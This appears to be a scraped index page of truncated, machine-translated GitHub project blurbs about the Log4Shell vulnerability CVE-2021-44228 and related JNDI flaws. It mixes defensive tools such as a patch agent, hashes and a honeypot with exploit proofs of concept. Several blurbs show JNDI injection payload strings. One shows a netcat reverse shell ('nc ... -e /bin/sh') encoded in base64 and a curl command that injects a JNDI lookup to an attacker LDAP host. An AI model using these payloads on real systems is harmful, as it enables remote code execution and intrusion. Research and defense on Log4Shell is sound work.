log4j-jndi-be-gone

log4j-jndi-be-gone Eine auf Byte Buddy basierende Java-Agent-Lösung für CVE-2021-44228, die log4j-2.x-"JNDI-LDAP"-Schwachstelle. Sie tut drei Dinge: Sie deaktiviert den internen Methoden-Handler für jndi:-Formatstrings "Lookups". Sie protokolliert eine Nachricht auf System.err d. h. stderr, die...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Ein Beispiel zur Remote-Code-Injektion mittels CVE-2021-44228 über RMI und LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit Der...

cloudrasp-log4j2

CloudArmor · Módulo de Autoproteção de Aplicações em Tempo de Execução - Versão Log4j2 简体中文 Este projeto é uma versão local do CloudArmor, especificamente desenvolvida para defender o Log4j2 CVE-2021-44228. Não é necessária conexão de rede para executar este projeto. Por favor, faça TESTES antes ...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 Zeigen Sie Ihre Unterstützung - geben Sie einen ⭐️, wenn Ihnen der Inhalt gefallen hat | AUF TWITTER TEILEN | Folge mir auf 🐱‍💻 ✂️ 🤬 LOG4J Java Exploit - WAF und Patches Bypass-Tricks 📝 Beschreibung CVE-2021-44228 funktioniert auf: log4j: 2.0 = Apache log4j = 2.14.1 Bereits gepatchte...

CVE-2021-44228-Log4Shell-Hashes

CVE-2021-44228-Log4Shell-Hashes Hashes für anfällige LOG4J-Versionen Erstellt, um Organisationen bei der Suche nach diesen anfälligen Versionen zu helfen https://www.lunasec.io/docs/blog/log4j-zero-day/ Quelle der Hashes: https://archive.apache.org/dist/logging/log4j/ Möglicherweise 1.X betroffen...

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 Como Executar? root@kitploit: php log4j.php https://1337.com Requisitos PHP CURL PAYLOAD DNS LOG Collaborator Burpsuite ou use dnslog.cn Lista de Payloads root@kitploit: $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId $docker:containerNam...

Log4Shell

Log4Shell CVE-2021-44228 ☠️ Log4Shell PoC CVE-2021-44228 Test-Exploit für die kritische Schwachstelle Log4Shell in Apache Log4j ≤ 2.14.1, die Remote-Code-Ausführung durch JNDI-Injection ermöglicht. ⚠️ Dieser PoC dient nur zu Bildungszwecken und kontrollierten Tests in autorisierten Umgebungen...

log4j-spring-vuln-poc

log4j Spring anfälliger POC Dies ist ein POC für ein einfaches Spring Boot Starter-Backend mit Maven, das eine anfällige log4j-Version für CVE-2021-44228 enthält. Spring Boot bootstrapped mit https://start.spring.io. Befehle ./mvnw spring-boot:run: Server starten ./mvnw dependency:tree:...

log4j2-test

Log4j2 2.14.1 LDAP-Remote-Code-Execution-Schwachstelle CVE-2021-44228 – Überprüfung 🎈 In einer Spring Boot 2.x Umgebung getestet Schwachstellenhinweis https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml: Log4j2-Version auf die verwundbare Version herabgesetzt root@kitploit: 17...

Log4Shell-Honeypot

Log4Shell-Honeypot Erweiterter dockerisierter Honeypot für CVE-2021-44228 mit umfassenden Sicherheitsfunktionen, Überwachung und Alarmierungsmöglichkeiten. Funktionen Erweiterte Erkennung Umfassendes Pattern-Matching : Erkennt über 20 Log4Shell-Exploit-Muster, darunter JNDI, LDAP, RMI, DNS und...

CVE-2023-40037

CVE-2023-40037: Validação Incompleta de URLs de Conexão JDBC e JNDI no Apache NiFi Apache NiFi 1.21.0 até 1.23.0 suporta acesso JDBC e JNDI JMS em vários Processadores e Serviços do Controlador com validação de URL de conexão que não fornece proteção suficiente contra entradas maliciosamente...

CVE-2023-34212

CVE-2023-34212: Desserialização de Java via Componentes JNDI no Apache NiFi O JndiJmsConnectionFactoryProvider Controller Service, juntamente com os Processors ConsumeJMS e PublishJMS, no Apache NiFi 1.8.0 até 1.21.0, permitem que um utilizador autenticado e autorizado configure propriedades de U...

CVE-2022-24818

CVE-2022-24818: Java-Deserialisierung durch ungeprüfte JNDI-Abfragen in GeoServer und GeoTools Die GeoTools-Bibliothek verfügt über eine Reihe von Datenquellen, die ungeprüfte JNDI-Abfragen durchführen können, die wiederum zur Durchführung von Klassen-Deserialisierung und zur Ausführung von...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Base64 में बदलें bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= पेलोड curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 प्रूफ ऑफ कॉन्सेप्ट Log4j PoC...

CVE-2021-44228-Log4j-lookup-Rce

0x01、Umgebung Jdk7u21 beliebige Version möglich Betroffene Versionen: Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc root@kitploit: import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER =...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Prova de conceito da vulnerabilidade de pesquisa LDAP do Apache Log4j Você pode ler mais sobre a vulnerabilidade aqui: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ Como executar o servidor LDAP fornecido que retorna objeto malicioso?...

log4shell-demo

Einfache Spring Boot-Anwendung, die anfällig für Log4Shell CVE-2021-44228 ist Standard-Logging-Framework von logback auf log4j2 geändert Die Anwendung protokolliert den 'User-Agent'-Header, sodass man die Schwachstelle mit curl und z. B. interactsh-service testen kann: root@kitploit: curl -A...

log4j_github_repository

Este trabalho inclui ferramentas de teste e melhoria para CVE-2021-44228log4j O objetivo deste estudo é listar ferramentas úteis que as equipes azul e vermelha podem usar contra a vulnerabilidade Log4j. Links do Github para bypass de ferramentas, varredura, mecanismos de detecção, etc. podem ser...

Log4J-Simulation-Tool

Über das Projekt Dies ist ein speziell entwickeltes automatisiertes Schwachstellenscanner-, Patch-Management- und Ausnutzungswerkzeug für CVE-2021-44228. Es handelt sich um eine Kombination aus Python-, Java- und Linux-Shell-Programmen, die es Netzwerkadministratoren,...

CVE-2024-21006

Nichts Besonderes zu sagen, es ist einfach eine LDAP-Ausnutzung. 2. Bitte überprüfen Sie die LDAP-Dienstprotokolle. 3. Die Zielversion muss Oracle WebLogic Server 12.2.1.4.0 oder 14.1.1.0.0 sein. Außerdem ist eine niedrige JDK-Version erforderlich. 4. Verwenden Sie JNDIExploit-1.4-SNAPSHOT.jar,...